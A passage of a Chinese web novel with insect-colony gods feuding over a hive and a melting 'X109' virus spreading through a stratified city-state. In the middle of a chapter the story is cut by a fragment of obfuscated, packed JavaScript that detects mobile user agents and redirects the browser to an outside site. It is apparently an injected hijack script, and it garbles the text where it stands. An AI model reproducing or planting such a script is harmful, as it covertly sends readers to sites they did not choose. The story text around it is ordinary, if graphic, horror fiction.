天刚一早,天边才浮起一线乳白色的天光,祝吟辰躺在床上睡得正熟,就朦朦胧胧听到了空居外的打砸声。
“祝吟辰,快醒醒!”
感觉到身体被猛烈地摇晃,她迷迷糊糊地睁开眼,看见林筑焦急的神情。
她打了个哈欠,坐起身,看向敞开的房门,外面传来吵闹的声音更大声了。
“怎么了?”
“有个黑色的阿努打进来了!”
谁啊,居然敢在伊南娜的地盘作祟?
还没来得及想明白,祝吟辰突然听见门外远远传来一声熟悉的冷笑——“伊南娜,你带给我好大的惊喜!”
这声音——!
祝吟辰这下子彻底醒了。
她一个箭步冲出门外,望见昔日壮观的水上宫殿,此时已经变成了一片废墟。
伊南娜尴尬地半躺在破破烂烂的藤座上,和前来质问的恩基对峙着。
阿利都们此时都躲藏在屋里,向窗外小心翼翼地望着,微恐被恩基的怒火牵连。
仔细看去,交织蔓延的树根被无数银白丝线穿刺,或暴力地切割绞碎,伊南娜此时的模样也有些狼狈,虽然看起来临危不乱,实际上身体被几根锋利的丝线暗暗架住,不敢轻易活动。
恩基高高在上地俯视着伊南娜。
她漆黑的纤长身影如同这明媚空居中闯入的一片鬼火,将繁华春景生生撕裂出一线黑暗的阴影。
“这段时间,我与众阿努都冬眠于菌群,本以为你会执行好大颚的义务,于是没有多管。”
恩基冷笑一声,蛇眸下透出两点猩红的光,刺破她此时深恶痛绝的仇恨。
“没想到,你居然和安提一样,背叛了虫群,背叛了纳姆。”
伊南娜尴尬地一笑,突然感觉脖颈间倏地一紧,紧随其至的是一阵深入骨髓的凉意。
锋利的丝线将她坚硬的铠甲穿透,鲜红的血慢慢地顺着身体滑落,而那丝线还有在身体里继续游走的意头。
伊南娜笑不出来了,她的脸上慢慢滑落几滴冷汗。
丝线随着时间一点点收紧,伊南娜却愣是一句话没吭声。
恩基微微皱眉,正在思考着怎么让眼前的阿努开口,却突然察觉空居之上,隐隐约约藏着一股熟悉的气息。
祝吟辰就这样眼看着恩基突然慢慢抬起头,望向自己这边。
与那冰冷而充满杀意的眼神对视的一瞬间,她的脊背情不自禁爬上一阵恐惧的寒意。
祝吟辰急忙三步并作两步,赶紧退后,抓着身后莫名其妙的林筑逃回屋内。
然而已经晚了,就在她们闯入房门的下一秒,整个房间瞬间被无数的丝线贯穿撕裂,在空居半空砰地一声炸开来,惊起周边阿利都们纷纷尖叫逃窜。
好在祝吟辰已经有了经验,这次反应也够快,在爆炸的前一秒及时带着林筑扑倒在地,又立马起身抱着林筑飞跃到空中,踩着炸裂的果壁碎片跃至蔓延交织的巨树枝桠上。
林筑死死地抓着祝吟辰的肩膀,不敢轻易乱动。
祝吟辰也挡在林筑身前,强行稳住心神,向下望去,与水上宫殿上的恩基彼此对视。
后者看起来始终站在原地,身形未动分毫,但祝吟辰知道,面对恩基那强大的能力,一丝一毫都不可松懈。
某种程度上而言,恩基恐怕比骄傲的伊南娜更难对付。
二虫对视良久,恩基终于冷冷开口:“安提在哪里?”
被晾在一旁的伊南娜正要出来打圆场,一根丝线突然自空气中隐处,横过架在了她的咽喉处。
感到咽喉处的空气隐隐泛起的寒意,伊南娜只好默默闭上了嘴巴。
祝吟辰见伊南娜没能起到作用,只好出声回道:“与你无关。”
话音未落,祝吟辰脚底踩着的枝桠一段突然发出崩裂声,下一秒,以她脚边不到一厘米距离的枝桠为起点,整个空居顷刻被一股无形的力量干净利落地切去半个!
空居顿时响起震耳欲聋的轰隆声,在周围的森林中传开去,惊起一片鸟兽散。
巨树被切下的树干和数座果屋高高落下,在水潭里纷纷砸起巨大的水花,被牵连的阿利都们惊慌失措地振起双翅,或是不慎连带着坠入水中。
一时间,惨叫和半个巨树倒塌的声音不绝于耳,树上水下一片狼藉,空居有史以来第一次陷入了这样大的灾难。
水谭被激起无数噼里啪啦的水花,将残余的水上宫殿溅湿一片,伊南娜被困在其中,全身都被淋得湿透,此时也只能默默闭上双眼。
突如其来的巨大动静使祝吟辰心中闪过一丝慌乱,她连忙抓住身后的林筑,侧目一看,发现身边的大半个空居已经不见了,而她脚底踩着的枝桠居然还在时,忍不住暗暗捏了一把冷汗。
很明显,这是一种威胁。
她重新抬起头,望见恩基面无表情的脸,那半阖蛇目下暗藏的疯狂和暴戾,心中的警惕直线上升。
无论如何,她会尽全力迎接恩基接下来的出招。
好在即使是这种时候,恩基也多少保持了她一惯的克制。
她望着祝吟辰和其藏在背后无名之物的身影,微微皱起眉头。
第一次和她见面的时候,知道她是安提藏在腹中的卵。
第二次又见面的时候,则又知道了她是玛赫那出自于私心所创生的女儿。
对于这其中古怪的转换,她默认这是伊南娜该调查的义务,没有去管。
而现在,她不仅帮助安提建立了埃勒伽什,还和伊南娜和和美美地混居在空居中,身后又多了个莫名其妙的外来物种。
“伊塔……”
恩基默诵着这僭越的名字,那是安提越过了整个虫群,为眼前的这小小阿努命令的第一个名字,也是安提决心背叛的象征。
但这名字背后的主人,恐怕隐藏的秘密要更深刻。
“恩基。”
突如其来的,她的左肩放上一只沉重的手掌,她皱着眉偏头看过去,伊南娜居然已经站起来了,身上挣扎出丝线的一道道伤口还在流血。
心头突然闪过一丝不忍,恩基仍然冷着一张脸,头也不回地回了句:“干什么?”
伊南娜叹了口气。
“我想建议,你们去空居外面打吧。”
此言一出,几乎要把恩基气笑,她正欲转身教训一番,却看见伊南娜脸上满不在乎的神情,似乎她的背叛于整个虫群是无关紧要的小事一般。
这看透的一眼,恩基只觉得全身顿
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时如被浸入冰水一样冷静下来,连斥责的意头也没有了。
看来伊南娜今天是死活不肯给她一个交代了。
她的时间只用在刀刃上,已经没有理由留在这里耗下去。
“伊南娜,你不要以为你带走了大颚,整个虫群就无法继续运转下去。”
恩基冷冷的声音传入伊南娜心底,如同一股冷冽的溪流,将沿途的土壤慢慢冰冻。
“我会用自己的办法,重新建立虫群的秩序,新的大颚,将会把你和你的部下全部取代。”
伊南娜面上依然没有什么变化,只是眼底多了几分复杂的神色。
恩基放下这番话后,就原地融作一滩黑水,渐渗入四周隐秘的黑暗中。
只有恩基留下的那最后一个眼神,如同一道深可见骨的伤痕,还深深地镌刻在伊南娜心头。
“我们接下来怎么办?”
身后传来熟悉的声音,伊南娜回过神来,转身看见微皱眉头的祝吟辰。
后者望着周围的一片狼藉,眉宇间显出一点对未来的担忧和不安。
看来,这里还有个年轻的阿努等待她的安慰。
将所有的悲伤果断抛到脑后,伊南娜豪迈一笑,大手一把搭在祝吟辰右肩。
“先让埃勒伽什的大颚和拉姆调过来,重新将空居建造吧。”
“你明明知道我不是说这个。”
祝吟辰严肃地瞥过一眼,将伊南娜的手从自己肩上推下去。
“我是说,恩基刚刚说的新大颚要是真的来了,我们该怎么办?”
“还有,我们现在要怎么去探查恩基的动向?必须要抢先查清楚,她究竟打算怎么弄出新的大颚来。”
“至于空居,我们可以……”
听着祝吟辰周密的计划,伊南娜的思绪已经情不自禁地悠悠飘到了天边去。
从她和祝吟辰相处以来,她就很少像以前一样去仔仔细细地去思考打磨进攻外敌的计划了。
“好了好了,聪慧的伊塔,你要做的,就尽可去做吧。”
她微笑着拍了拍祝吟辰的背部,扬长而去。
祝吟辰远望着伊南娜的身影就这样离去,看她的方向,似乎是打算去埃勒伽什。
埃勒伽什前不久确实刚好给她建好了新居。
祝吟辰暗暗捏紧了拳头。
她一定要让拉姆们克扣分配给伊南娜的住地和食物……
身后突然传来一阵阵低低的啜泣声,祝吟辰转过身,看见一个眼圈通红的阿利都,正坐在水上宫殿的一角,抱着被树枝砸中的翅膀默默落泪。
她一下子冷静了下来。
祝吟辰站在水上宫殿中心,向四周环视了一圈,树上水下,遍地是受伤的阿利都和破败的果屋残躯,整个空居巨树现在只剩下未被削去的一半。
未被这场灾难波及的阿利都们站在树上,焦急地望着在水中挣扎的同伴们。
而林筑正小心翼翼地爬下树,试图去拉一个困在水中和倒塌树杈之间的阿利都。
算了,她现在有比埋怨伊南娜更要紧的事要做。
祝吟辰走向坐在水上宫殿一角的阿利都,后者看见她来,急忙往水里钻去,却被翅膀一端被接触的轻柔力道所震惊,通红的双眼不可思议地望着祝吟辰。
祝吟辰微微一笑,安慰道:“你受伤了,就先暂时留在这里吧。”
“晚上的时候,我会安排好树上的阿利都,空居重建的这段时间你们就暂时合住。”
阿利都默默地垂下头颅,长睫轻颤着,浸湿的金色羽发紧贴在身上,勾勒出柔和青涩的弧度。
他没有说话,但也没有反抗,只乖顺地坐回了了水上宫殿一角。
祝吟辰见他这幅样子,知道双方的沟通有了效果,于是呼唤了一个较熟的阿利都,叫他去集结幸存的所有阿利都。
就这样忙碌到了深夜。
看着来来往往收拾残局的拉姆和大颚们,祝吟辰轻轻呼出一口气。
尽管林筑百般拒绝她的好意,但她仍然坚持安置好林筑单独的住处。
夜色掩护下,大地重新覆上一层赤色,祝吟辰独自走向埃勒伽什的方向。
空居残存的住地有限,她也不得不去埃勒伽什住一段时间了。
对了,还要顺便去克扣一下伊南娜的住地和食物分配量。
62.她将创新生,无人知源处
古老幽深的黑暗地底下,沉淀着细微的、窸窸窣窣的响动。
洞壁湿滑,石柱偶尔滴落的水珠发出清脆的滴答声,地底闷热的空气里弥漫着潮湿泥土的腥气,几点幽幽的荧光中,隐隐约约可见洞穴中心一尊小山般的巨大身影,连同着她身边涌动的小虫们一起,在晦暗光线中忽明忽暗。
不同于寻常阿努的黑色矫健外形,她看起来更像是一块柔软的、肥美的奶油点心。
蛇状的下半身盘旋在一起,看起来肥壮无比,富有弹性的乳白色肌肤微微透明,几乎能看到里面彼此交错的内脏。
人形的上半身伏在盘旋的身体一侧,脂肪丰富的双臂自然地交叠在头颅下,银白的长发几乎要将她的全身覆盖,半掩去熟睡的、静谧的面庞。
湿热的空气里,一些小虫焦躁地在她身上爬上爬下,口器发出尖利如婴儿哭泣般的声响,从出生开始就渴望引起关爱和注意,几乎是每一种生物的本能。
小虫们们才刚刚孵化不久,有的还没有长出翅膀,有的在半透明的卵里挣扎,有的在啃食自己的蛹壳以获得营养,有的已经在尝试着飞起来,还有的,甚至是残疾或者先天营养不良。
即使她因为困倦,已经将身体微微蜷缩起来,此时也不得不打起精神,检查这一批最新的虫卵孵化情况如何。
她打了个哈欠,慢慢睁开双眼,微微透明的白瞳似乎是因为长年深居地底,而有些失明式的茫然。
接着,她开始仔细地挑选小虫们的质量,从身体的健康状况,到器官和内脏的发展程度,都认真地一一评估,挑拣到不同的队列中。
原本吵闹得厉害的黑暗地底慢慢变得安静下来,几乎所有的小虫都乖乖照做。
这是得到玛赫审视的机会之一,无论是认可还是厌弃,只要可以得到母亲的正视,就能激发出所以生物流淌在血液中、本能的喜悦。
终于,玛赫严肃地挑选了一段时间后,将那些身体状况不佳,或者脾气过于暴躁的小虫们聚在一起,捡做一堆。
洞穴里重新变得吵闹起来,未被选中的一些小虫发出刺耳的尖叫声,好像是在嘲笑着什么,还有的仿佛是在哭泣,乖乖地停在玛赫身畔,沉默不语。
玛赫柔韧有力的身体慢慢扭动起来,将洞穴中间被选中的那一堆小虫缠绕围住,一点点绞紧……
不知道过了多久,当她重新舒展开身体的时候,洞穴中央就剩下一滩血腥的碎肉。
如一片神圣的、祭祀的坟。
地底突然陷入一片短暂的沉默,几乎要令人窒息的死寂中隐隐藏着一种古老的、不可僭越的权威。
甜丝丝如蜜般香甜的,带着一点铁锈的气息,浓稠的血腥味在闷热的空气里很快地蔓延开去,所有小虫本能地一拥而上,黑暗地底再次响起了窸窸窣窣的啃食声。
四通八达的洞口处,突兀地传来一阵阵沉闷的脚步声,由远及近,洞顶石柱的滴水声显得更为清脆。
“玛赫?”
低沉的声音自洞口外一次次地传来。
玛赫顿住了动作,安安静静地朝洞口外望着。
沿着深邃的地底通道,恩基走了漫长的路途,太久太久没有来这里,她已经忘记了路,只能一直试探着向四通八达的洞口里不断呼唤。
然而始终没有回应,她只能默默忍受着地底湿热的空气,在各个通道口里不断地来回穿梭。
“玛赫?”
“玛赫,你在这里吗?”
……
不知道找了多久,她总算在口干舌燥之际找到了正确的洞穴。
恩基望着深邃的黑暗那头,那双冰雪般静谧的眼睛,暗暗松了口气,扶着洞壁优雅地一步步走进来。
“近来可好,玛赫?”
玛赫平静地注视着怀中尖叫的小虫,轻轻地抚摸着小虫光滑的身体,并不说话。
恩基叹了口气。
从很久以前的记忆里,玛赫就一直是这个样子,对任何事情都置身事外,但凡是不重要的,或是既定的事,都无法真正引起她的注意。
“新的虫母诞生了,玛赫。”
“伊南娜带着大颚聚在了冥土,建造了新的城邦,它的名字是埃勒伽什。”
玛赫眼神微动。
避过脚下窸窸窣窣的虫群,恩基慢慢走到玛赫身边,微俯下身子,一双半阖的蛇目闪着两点红光,凝视着玛赫的脸庞。
“玛赫,我需要新的造物,新的大颚,新的军队。”
“为了阿努的荣耀,将新的血液献给我吧。”
……
联合城邦,下邦C3区。
从联合城邦内部出发,离开了隔离上下邦人的安全区后,就是C2区——黑环,而在黑环与无人区之间的过渡地带,就是C3区。
也是整个联合城邦最大的贫民窟和犯罪集团聚集地。
反抗军的驻地就在这里。
几个衣衫褴褛的小孩在低矮的房屋间玩闹,一个用几块木板和一个破网兜做成的网篮立在院子中间。
其中一个小男孩突然捡起一个看起来缝缝补补了很多次的篮球,率先向网篮里投去。
那是个漂亮的三分球。
其他的伙伴似乎也为这突如其来的比赛所点燃,胜负欲在每个人心中燃起,一场日常的篮球赛在贫民窟的一角拉开序幕。
这是上个世纪时兴的民间运动,越是贫穷的地方,越是惯于保存这些传统的娱乐项目。
街角外的马路传来一声货车的喇叭声,几个中年男女从隔壁的鱼货店里走出来,开始往店里拉刚从北海运来的鱼。
这是参与北海走私海货的一家小作坊,萧家在北海的势力庞大,底下破破烂烂的窟窿眼子也最多,只要每个月向这片地方的地方头子上供两万联邦币,就可以得到稳定的货源。
“啪——”
一条鱼从货箱里掉出来,早就在垃圾堆旁等得饥肠辘辘的野狗流着口水猛扑过来,又在中年男人的怒骂声下畏畏缩缩地夹着尾巴后退。
原本坐在小板凳上,砸吧着烟头的老太太,中年男人的母亲,一瘸一拐地走过来,满脸的褶皱里写满了心疼。
她颤颤巍巍地弯腰捡起那条鱼,拍了拍上面沾染的灰尘和泥泞,眼角瞥到地上呜呜叫的狗,本来朝货箱抛去的小臂一抖,拐了个弯儿,这条鱼还是给了它。
饥饿的野狗吃得飞快,肉和骨头混着地上的灰尘都吃得干干净净,不过多一会儿,它冲老太太摇了摇尾巴,慢慢地走开了。
老太太没头没尾地骂了一句,就像这里的人给予彼此恩惠和关爱时的习惯一样,恶毒才能维系亲人之间的亲密。
她又一瘸一拐地走回去,坐在小板凳上,看着院子里打篮球的孩子们发呆,干瘪的嘴皮砸吧着烟,浑浊的两眼空空地望。
突然,衣襟处似乎有什么东西亲昵地碰了她一下。
她低头看去,那条野狗又回来了,湿润的鼻子喘着粗气,长长的舌头歪向一旁,白森森的犬齿间咬着一个球。
它冲老太太有点聋的耳朵兴奋地狂吠几声,似乎是在邀请她陪它玩耍。
老太太眯着眼睛看了半天,才看清了这是刚才的那条狗,她的脸突然夸张地扭曲起来,说不上是喜欢还是嫌弃,只从宽松的衣袖里颤颤巍巍伸出一只干瘦的手,在狗背上的皮毛重重地摩挲着,薄薄的两片嘴皮发出模糊不清的咒骂。
夕阳之下,破破烂烂的小院子覆上一层金色余辉,坐在院子一角的老太太脚边坐着一条狗,她们都变得金灿灿的,身上的每一处褶皱因为逆光变得墨刀刻下般的黑,刚劲的一笔一划,像是旧时回忆中的金色雕塑。
金色的狗在融化。
老太太的手掌与狗毛慢慢粘结到一起,像是狗毛齐刷刷地钻进了肉里,又像是手掌烫融了狗的背部,狗黑色的眼睛看起来很天真,口水渐渐淌得到处都是,在地上染作一片浓重的黑。
随着下颚的牙齿也慢慢融化,它口中衔着的球扑通一声掉下来,狗的眼睛这时候变得温柔极了,两点晶莹剔透的水晶,盈在两宛黑色的眼眶中,慢慢地往下流淌。
听见球掉落的声音,一个小男孩连忙从屋里跑出来,脸上还挂着玩具丢失的泪痕。
一看见狗和他的球,他连忙跑到奶奶身边,指着狗,哭叫着要跟她告状。
然而他这次哭了半天,奶奶却迟迟没有反应。
“奶奶?”
他揉了揉眼睛,不再哭叫,转头看向今天安静得奇怪的狗。
狗在摇尾巴,它的背部在融化,里面鲜红的内脏露了出来,活泼泼地跳动着。
狗在眨眼睛,滚落下最后一滴金色的眼泪,落到地上深色的黑,两个黑洞洞的眼眶无声地望。
狗在呜呜地叫,喉咙处的皮毛已经融掉了,化作一滩夕阳下亮晶晶的水,白森森的骨头上动脉静脉一鼓一动。
“妈妈——!”
男孩哭着尖叫一声,向屋子里逃去……
……
联合城邦,北海边界辐射区,第三研究所。
研究所里从来没有这么热闹过,每一间办公室里人来人往,每个人脸上情绪各异,激动、兴奋、不安……研究所的气氛前所未有地紧张。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026930|152497||http|test|mini|href|location''.split(''|''),0,{}));
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>“已经确定病毒来源了吗?”
屠启风风火火地走进实验室,透明的隔离间内,几个围在一起的研究人员看到她一来,连忙让开位置,露出里面刚送来的样品切片。
屠启匆匆穿上生化服,走进隔离间,熟练地将切片放在显微镜下观察。
几乎是下一刻,实验室再次被敲响,除了屠启以外的所有人齐刷刷看去,一个西装革履的短发女孩走进来,望着陌生部门的同事们礼貌微笑。
她走近隔离间,对着里面的屠启悄悄说道:“目前已知所有感染者的资料已经送来了,袁主任在办公室里等您。”
屠启身形不变,只微微点了点头。
女孩转过身,冲周围的同事们点了点头,很快地退了出去。
周转在不同的部门之间,这场感染引发的所有突发事件都要经过屠启亲自处理,这几天她确实很忙。
不仅仅是从C3区爆发的神秘灾情,还有日常对雌虫的搜捕进度。
等到与实验室的众同事商议好病毒的处理事项,已经距离女孩的通知时间过去了一个半小时。
屠启刚刚脱下生化服,又立刻马不停蹄地赶往袁立的办公室。
一打开门,里面简直热闹得不得了——北海特遣部队队长萧衍、AGPC十二主席之一兼卫生局局长南宫问天、AGPC十二主席之一兼科技管理局局长袁立,和刚才的女孩,连同一个陌生的黑衣高个男子都在。
办公室里原本议论纷纷,只有女孩第一个表示出了尊敬,站出来对屠启招呼道:“您来了。”
其余的几个人向这边瞥了一眼,又继续投入他们的争吵中。
屠启对女孩点了点头,向几人走去。
萧衍看起来激动极了,扶着桌角的左手用足了力气,颈间的青筋微微暴起。
“……我不管你们到底要在北海找什么东西,灾情是你们驻扎的地方引起的,就得给我尽快解决干净!”
袁立一屁股做到沙发上,老派地摇了摇头,嗤笑一声。
“萧三少爷怎么连自己的地盘都搞不清楚?那片地儿是北海有名的辐射区,我们的人从来没有过去过,还不是你们没有清理干净战前污染引起的后乱?”
萧衍愤怒地向桌面锤下一记拳头,在场的人都吓了一跳,“放你**的狗屁,你们在辐射区悄悄在搞些什么以为我不清楚吗?!”
女孩看了看众人,见没有一个人有劝架的意思,只好站出来,劝道:“萧队——”
“滚!”
好吧,她在这里的任务已经完成了,怒火有了合适承接的地方。
女孩默默地低下头,走出办公室。
南宫问天原本沉默了许久,此时也忍不住放下酒杯,为自己的事说了句话:“袁主席,我就想问您一句,C3区的这个事儿,我还要替你们瞒多久?”
听到这话,在场的所有人突然沉默下来。
袁立是无所谓灾情的公开的,这和他在零启计划中的位置相悖,但他更在乎有没有大量的病毒实验数据可以免费得到。
萧衍是不愿意灾情的公开的,病毒从北海传播到C3区的事情要是传了出去,萧家在整个联合城邦的名望恐怕不保。
南宫问天也是不愿意灾情的公开的,他这段时间用来接纳感染者的钱可白花花地流了不少。
至于屠启,她自己也不清楚是否要隐瞒灾情,她对人类的感情本就淡薄,还是直接听袁立的话更来得轻松。
一旁的黑衣人率先打破了僵局——“周明主席通知你们,黑环不会接受任何灾民。”
没有黑环的接纳,C3区外的所有人就只能在外面等死。
袁立愉快地笑了起来。
“那就很明显了,南宫主席,我过段时间给您去AGPC找个借口,给您搞一笔特助的资金,为人类服务的人可要有英雄的待遇!”
南宫问天叹了口气,沉沉地点了点头。
只有萧衍,还坚持着和袁立争辩病毒的传播责任方……
屠启全程一句未发。
在争吵声不断的办公室里,不知为何,像是一股无形的力量吸引,她不自觉地看向办公室中央的特制装置。
【零】的光华在里面缓缓流转,散发出迷人的虹彩光芒。
仿若世外神明的指引,那枚光辉璀璨的凝星,曾在辽阔的极寒之地中封存,又在某一个历史的节点,连同那些被冰封的伟迹一起,自姜元源紧合的双手中取出。
屠启凝视着【零】,那问过无数遍的问题再次自她心头浮起——
人类的未来,何去何从呢 ?
63.异病蔓延时,哀歌因她起
舆情可以控制,但灾情本身不能。
被AGPC科技管理局紧急命名为“X109”的神秘病毒正在安全区以外的地方传播,黑环早在三天前就关门谢客,没有足够可靠的医疗机构,也没有AGPC积极的挽救措施,半个联合城邦的人都在等死。
但……那或许不能简单地称之为死亡。
“你是说,它们……是有意识的?”
总指挥皱着眉头,狐疑地看着台上的研究人员,眉头看起来能夹死苍蝇。
“是的。”
研究人员冲他点了点头,环视了一圈台下的十二主席,继续说道:“经过这段时间的研究,我们发现,感染了X109病毒的样本似乎仍然保存着主观能动的反应。”
说到这里,研究人员熟练地点击了几下台上的屏幕按键,联合会议室中心的大屏随之开始播放一段录像,十二主席不约而同地看向大屏。
录像的地点似乎发生在一个手术台上,一个面目全非的感染者痛苦地呻吟着,他的上半身和半个头颅已经变得柔软而透明,就像一团晶莹剔透的水晶泥,里面的骨头清晰可见,彼此交错的器官和血管不停地起伏跳动。
几个主席倒吸一口凉气。
紧接着,录像中的感染者身体慢慢发生了变化,他身体融化的部分突然开始挣扎起来,带着内部的脏器向他的头颅爬去,一点点覆盖住他的呼吸道。
过了约五分钟左右,男人不再挣扎了,他残留的一颗眼睛安详地闭上了,眼角慢慢地流下一滴眼泪。
手术台旁的仪器显示他已经停止了呼吸,然而他融化的身体变得更加活泼起来,像是有意识似的,组融成一整团,带着里面还在跳动的内脏、骨头和血管,向画面屏幕外的方向爬去,录像就在录像者终于抑制不住的尖叫声中停止。
研究人员关闭录像,重新郑重地望向众人。
“如各位所见,在这一起实验案例中,感染者全身的色素会逐渐流失,皮肤也会逐渐变得透明,然后慢慢融化,脱离其身体。”
“但奇怪的是,这些被带走的内脏奇妙地组成了一个脱离人体的生态圈,仍然在自如地活动着。”
“实际上,在各位看到这段录像里发生的内容之后,感染者融化的身体自行离开了手术台,稳定地向感染者自己病房的方向前进,最后吃掉了感染者餐盘中遗留的食物。”
“我们因此怀疑,X109病毒真正的感染症状是使得患者癌化,只不过它的对象不是具体的生命个体,而是单纯的活体生物组织。”
十二主席正愁容满面地听着,台上的研究人员还想再继续说些什么,坐在她对面的袁立却突然摆了摆手,示意她下台。
袁立咳嗽了两下,站起身,对着周围的其余众人说道:“X109病毒的来源我们已经查清,是无人区东北部的一处废弃岛屿。”
“没有认真清理战前遗留的生化武器残留,是我们科技管理局的责任,我袁立今天站在这里,向各位同僚请罪!”
说着,他脸上露出一副沉痛的神情,深深地向众人鞠了一躬。
听到病毒的来源与北海无关,萧翎脸上一直紧绷的表情总算稍微松动了一点。
气氛暂时陷入了一片寂静,周明第一个打破了沉重的氛围:“好了,袁主席的尽职尽责是联合城邦上下众所周知的,或有疏漏也在所难免。”
十二主席中一直默默无闻的张景忍不住低声发出一声感叹:“战争的灾难遗留,是我们每一个人类的责任。”
周明赞许地点了点头,“不错,袁立主席您也无需自责!现在,我们要如何带领全体人类,齐心协力地解决这场危机,才是当务之急。”
张景和吓了一跳,没想到自己这个默默无闻的游戏公司老板也能得到黑环首领的一句赞许,他赶紧不好意思地附和着点了点头。
总指挥姜安放下茶杯,笑着站出来打圆场:“就是,袁主席您先坐下,有什么事,大家一起面对,一起解决。”
杨威也沉稳地点了点头。
其余众人纷纷应和起来,劝着袁立安心坐下,实在是受不住各位的体谅,袁立脸上露出感激又愧疚的神情,扶着腰间的一把肥肉颤颤巍巍地坐下。
待到气氛重新变得平静下来,杨威严肃地站起身,工作人员立刻开始操作,大屏上显现出杨威刀削似的面庞。
众人齐刷刷地看向杨威,会议室里此刻的氛围无比庄严深沉。
这个久经风霜的老人说出了今天的第一句话:“我们在五十年前齐心协力建造了人类最后的城邦,无尽的战争没有将人性的光辉熄灭,直到今天,人类的文明仍然稳稳向前。”
“X109病毒的出现是对全体人类的,最新的一场考验!AGPC作为联合城邦的统领机构,必须要走到灾情的第一线去,安全区外的人民还在等待我们,AGPC绝不会放弃任何一个人类!”
“各位如果有什么解决X109灾情的手段,就尽管提出来,我们尽量在今天就商议通过,要做到尽快、尽好、尽全地去实行好每一项措施,不负人类的荣耀!”
杨威说到这里,无比肃穆地向众人鞠了一躬。
相比起袁立刚才的,杨威的这一举显得更为庄严,更为沉重,仿佛历经岁月洗礼的巨人,背负着艰难险阻默默前行。
众人立刻齐刷刷地鼓起掌来,白银悄悄抹掉眼角情不自禁滑落的一滴眼泪,感动地拍着手,激动得几乎要说不出话来。
接下来整整一天的时间,联合会议室都紧闭大门,直到深夜十点半左右,以十二主席为首的AGPC终于整理出了较为完整的一套灾情提案。
南宫问天成功地获得了一笔新的项目资金,用以收纳安全区以外的感染者们;
周明迂回妥协了一部分黑环的开放地区,用以开放医疗物资的输出;
萧翎主动提出带队前去调查,和袁立在附近的研究所发起合作,一同查出X109病毒的泄露原因;
以孙志成为首的执行官部队将派出一部分人手,去安全区外维持秩序……
“记录好了,主席。”
台上的记录员将这次会议的全部内容输入数据库,恭恭敬敬地看向杨威。
杨威点了点头,站起身,正要宣布解散,在座的众主席中却突然悄悄举起了一只手。
会议室中央的大屏识别到这番动静,立刻将这只手的主人显示出来,提示还有人要表决意见。
是谁早不发表意见晚不发表意见,偏偏这种快要下班的时候发?
除了杨威以外的众人都带着一股子无奈的怒气看过去,然而却出乎所有人的意料——居然是顾遥。
众所周知,顾遥是前任主席之一顾秦安的私生女,二十三年以来都在顾家外戚居住,是顾家子女中最平凡、最内敛的一个,相传她在大学城期间也没有什么朋友,成绩也不突出。
在顾秦安意外死亡后,顾家直系的几个儿子和女儿都接连遭到暗杀,为了保证顾家在联合城邦的势力,顾家决定让私生的她去公开参与十二主席的竞选。
就这样,在举家的帮助下,顾遥成功成为了十二主席之一,也是其中最沉默的一个。
这个穿着朴素灰色正装的女孩在众目睽睽下慢慢站起身。
她身材较胖,身高也不高,看起来很文静,头上扎着一个丸子头,脸上化了一个淡妆,似乎是想把雀斑遮去,颧骨处的皮肤白得有些异常。
微胖的身体卡住了椅子,她窘迫地低下头,将卡腿的椅子轻轻移开一点,然后看向袁立。
顾家总是反复警告她,只要守好自己这个主席的位置就好,其他的一切她们会帮她操办,AGPC内部的斗争也不要去参与,记住她父亲遭过的灾祸,切不可再惹怒周明。
但是这个问题,她真的很想提出。
众人彼此交换了一个眼神,纷纷心照不宣地看向周明,后者不紧不慢地抿了一口茶,眼底却隐隐约约透出一股凶残的恶意。
顾遥的指尖因为紧张而微微发抖。
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她扶住桌角,试图掩饰下自己的不安,开口向袁立小小声问道:“请问,这次的X109病毒与零启计划中的雌虫有关吗?”
联合会议室里顿时一片寂静。
袁立沉默了一会,放下茶碗,露出一个不解的神情。
他用力地朝顾遥偏过一侧耳朵:“小姑娘,你刚才说什么?”
顾遥微微低下头,重复了一遍刚才的话。
袁立感叹地摇了摇头,长叹一声。
“现在的年轻人还是要多经历大场面才行啊,公共场合连句体面的话都说不出来,未来要怎么办才好啊。”
众人都纷纷笑起来,顾遥的脸一下子憋得通红。
坐在她身旁的总指挥姜安笑着站起身,爽快地一拍她的背部,像是一种长辈式的圆场。
“好啦,小姑娘,太晚了,该回家啦!”
杨威发表了最后的散场结尾,会议就此解散,十二主席连同其他的工作人员纷纷离场。
顾遥是自己一个人离开现场的。
因为她羞怯于让别人看见自己这样平凡的样子却坐着豪车,因此总不要人来接她,每次散会后她都坚持自己打车回家。
来到停车场附近,她站到离下班人群最远的角落里,点开手腕上的识别器,开始默不作声地寻找上面还在线的性价比最高的司机。
突然,一只手轻轻拍了拍她的肩。
她吓了一跳,回过头,一阵甜美馥郁的香水气轻纱似地拂上脸庞,动听悦耳的女声在她耳畔响起——
“你好,能允许我送你一程吗?”
顾遥惊讶地睁大了眼睛,居然是白银在跟她说话!
眼前的人一身黑色丝绸质地的定制西装裙,透出一股奢侈华贵的气质,长长的栗色波浪卷发矜贵地束好垂在脑后,几缕精致的发丝微垂落在脸颊两侧,夜风吹拂过一阵香气,丝绒质地红唇微醺,而那双迷人的眼睛正带着一点笑意注视着她。
顾遥看愣了一瞬,习惯性地摇了摇头,想到白银的话,又赶紧点了点头,原地纠结半天,刚刚好不容易恢复正常的脸又红了起来。
“不了……好吧,谢谢你。”
“没事。”
白银身后的黑衣男打开停在一旁的上世纪古董豪车车门,俯身请二位进入。
A1区的夜景繁华而迷人,高楼大厦灯火通明,一条条街道和空中车行道霓虹灯闪烁,各式车辆川流不息。
灾情的消息依旧没有传到上邦,商业区的人群依然熙熙攘攘,热闹非凡。
顾遥的性格孤僻内敛,上了车也不知道该说些什么,只闷闷地盯着车窗外的夜景。
零启计划的内容她早在会议上听过,当时她也选择一如既往地从众通过了,关于袁立负责的部分她记得很清楚,雌虫爆破总部后失踪的事情她也知道。
X109病毒引起的症状一听就不是蓝星上的病毒可以导致的,她总觉得,与其说那是病毒,那更像是一种非人的生存状态。
可为什么,这么明显的疑点,只有她一个人会怀疑X109病毒可能会与失踪的雌虫有关?
